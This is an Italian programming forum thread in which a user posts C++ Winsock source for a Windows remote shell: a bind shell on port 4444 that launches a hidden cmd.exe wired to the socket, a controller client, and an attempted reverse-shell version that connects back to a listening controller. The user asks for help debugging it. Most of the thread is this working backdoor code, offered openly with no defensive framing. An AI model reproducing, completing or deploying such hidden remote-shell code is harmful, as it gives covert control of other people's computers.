|
|
|
![]() |
|
Strumenti |
![]() |
#1 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
[c++] shell remota...
ho trovato in internet questo esempio di shell remota...
Codice:
#define WIN32_LEAN_AND_MEAN #include "sock.h" #include <stdio.h> #include <windows.h> #include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock #pragma comment(lib,"Ws2_32.lib") //Winsocket lib #define SHELL_NAME "cmd\0" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ SOCKET sock, sendrecv; struct sockaddr_in sock_addr,sendrecv_addr; WSADATA data; WORD p; int len; SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; //connessione modalità server... p=MAKEWORD(2,0); WSAStartup(p,&data); sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0); //utilizzo la WSASocket() invece della socket() sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(4444); //Utilizzo la porta 4444 sock_addr.sin_addr.s_addr=INADDR_ANY; bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in)); listen(sock,1); int lun = sizeof (struct sockaddr); sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; memset((void *) &si, 0, sizeof(si)); memset((void *) &pi, 0, sizeof(pi)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = (void *)sendrecv; // posso assegnare lo standard input direttamente alla socket si.hStdOutput = (void *)sendrecv; // devo utilizzare un cast in quanto la socket ?n intero, si.hStdError = (void *)sendrecv; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void) CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); // closesocket(sendrecv); // closesocket(sock); // WSACleanup(); return 0; } Codice:
#include "sock.h" #include <stdio.h> #include <string.h> #include <windows.h> #include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock #pragma comment(lib,"Ws2_32.lib") //Winsocket lib #define SHELL_NAME "cmd\0" int main(){ SOCKET sock, sServerSock; char pBuffer[2000]; int iBytes; sServerSock = InitClientSocket("127.0.0.1", 4444); if (sServerSock != 0){ //controllo connessione printf("connessione avvenuta!\n"); } else return -1; while(TRUE){ while(TRUE){ iBytes = recv(sServerSock,pBuffer,2000,0); pBuffer[iBytes] = '\0'; printf("%s",pBuffer); if(pBuffer[iBytes-1] == '>') break; } pBuffer[0] = '\0'; gets(pBuffer); send(sServerSock, pBuffer,lstrlen(pBuffer),0); pBuffer[0] = '\n';pBuffer[1] = '\0'; send(sServerSock, pBuffer,lstrlen(pBuffer),0); } system("pause"); return 0; } però come esperimento volevo provare a invertire la modalità diconnessione... ovvero trasformare la shell remota in un client e il mio programma in un server al quale la shell remota si connette... ho quindi pensato di sostituire le prime parti del programma in cui avvengono le connessioni, ma così non funziona... qualcuno sa dirmi come fare??? grazie ciao |
![]() |
![]() |
![]() |
#2 |
Bannato
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
|
perché non funziona? WSAGetLastError cosa ritorna?
|
![]() |
![]() |
![]() |
#3 | |
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Quote:
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
|
![]() |
![]() |
![]() |
#4 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
ok.. ho provato di nuovo...
dunque, mentre il codice postato prima funziona perfettamente... l'opposto non funziona, o meglio il server (ovvero quello che dovrebbe inviare i comandi alla shell) riceve cose senza senso fino a riempire il buffer del tutto e dare errore del programma... vi posto il codice: client: Codice:
#define WIN32_LEAN_AND_MEAN #include "sock.h" #include <stdio.h> #include <windows.h> #include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock #pragma comment(lib,"Ws2_32.lib") //Winsocket lib #define SHELL_NAME "cmd\0" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){ SOCKET sock, sendrecv; struct sockaddr_in sock_addr,sendrecv_addr; WSADATA data; WORD p; int len; SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; sendrecv = InitClientSocket("127.0.0.1", 4444); if (sendrecv == 0){ MessageBox(0,"connessione non avvenuta","shell",MB_OK); } sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; memset((void *) &si, 0, sizeof(si)); memset((void *) &pi, 0, sizeof(pi)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = (void *)sendrecv; // posso assegnare lo standard input direttamente alla socket si.hStdOutput = (void *)sendrecv; // devo utilizzare un cast in quanto la socket ?n intero, si.hStdError = (void *)sendrecv; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void) CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); // closesocket(sendrecv); // closesocket(sock); // WSACleanup(); return 0; } Codice:
#include "sock.h" #include <stdio.h> #include <string.h> #include <windows.h> #include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock #pragma comment(lib,"Ws2_32.lib") //Winsocket lib #define SHELL_NAME "cmd\0" int main(){ char pBuffer[64000]; int iBytes; SOCKET sock, sendrecv; struct sockaddr_in sock_addr,sendrecv_addr; WSADATA data; WORD p; int len; SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; //connessione modalità server... p=MAKEWORD(2,0); WSAStartup(p,&data); sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0); //utilizzo la WSASocket() invece della socket() sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(4444); //Utilizzo la porta 4444 sock_addr.sin_addr.s_addr=INADDR_ANY; bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in)); listen(sock,1); int lun = sizeof (struct sockaddr); sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun); while(TRUE){ while(TRUE){ iBytes = recv(sendrecv,pBuffer,64000,0); pBuffer[iBytes] = '\0'; printf("%s",pBuffer); if(pBuffer[iBytes-1] == '>') break; } pBuffer[0] = '\0'; gets(pBuffer); send(sendrecv, pBuffer,lstrlen(pBuffer),0); pBuffer[0] = '\n';pBuffer[1] = '\0'; send(sendrecv, pBuffer,lstrlen(pBuffer),0); } system("pause"); return 0; } Codice:
SOCKET InitClientSocket(char *pHost, int iPort){ struct sockaddr_in saClient; struct hostent *pHostinfo; SOCKET sock; WORD version; WSADATA WSAData; version=MAKEWORD(1,1); WSAStartup(version, &WSAData); //Avvia il socket if ((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){ return 0; } //Risolve il DNS pHostinfo=gethostbyname(pHost); if (pHostinfo==NULL){ return 0; } //Imposta la connessione con il server... saClient.sin_family=AF_INET; saClient.sin_addr=*((struct in_addr *)pHostinfo->h_addr); saClient.sin_port=htons(iPort); //Si connette al server... if (connect(sock,(struct sockaddr *)&saClient, sizeof(saClient))){ return 0; } return sock; } Ultima modifica di mamo139 : 29-10-2006 alle 18:34. |
![]() |
![]() |
![]() |
#5 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
precisamente le cose senza senso sono sempre lo stesso simbolo... che è tipo una parentesi quadra... bah...
![]() |
![]() |
![]() |
![]() |
#6 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
l'errore è così:
![]() |
![]() |
![]() |
![]() |
#7 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
nessuno sa aiutarmi??
![]() |
![]() |
![]() |
![]() |
#8 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
up
|
![]() |
![]() |
![]() |
#9 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
ecco tutti i progetti
http://thesolution.altervista.org/ma...ell_remota.htm dunque: il "centro di controllo client" e la "shell server" vanno... il problema è il loro opposto, ovvero: "centro di controllo server" e la "shell client" |
![]() |
![]() |
![]() |
#10 |
Senior Member
Iscritto dal: Jan 2006
Messaggi: 2722
|
Purtroppo, personalmente, è un periodo di cronica mancanza di tempo...
Appena posso comunque gli do un'occhiata. Hai fatto bene a mettere il progetto, così faccio prima ![]()
__________________
- Spesso gli errori sono solo i passi intermedi che portano al fallimento totale. - A volte penso che la prova piu' sicura che esiste da qualche parte una forma di vita intelligente e' il fatto che non ha mai tentato di mettersi in contatto con noi. -- Bill Watterson |
![]() |
![]() |
![]() |
#11 | |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
Quote:
io continuavo a postare solo quando il topic andava in seconda pagina per lasciarlo visibile... ![]() |
|
![]() |
![]() |
![]() |
#12 |
Senior Member
Iscritto dal: Sep 2006
Città: Bologna/Milano
Messaggi: 525
|
news:
ho messo dei controlli nel server: Codice:
while(TRUE){ iBytes = recv(sendrecv,pBuffer,64000,0); if (iBytes<0){ printf("\nRECV() ERROR %d %d\n",iBytes,WSAGetLastError()); break; } 10054 WSAECONNRESET: Connection reset by peer sembrerebbe quindi che il problema stia nel client |
![]() |
![]() |
![]() |
Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 11:20.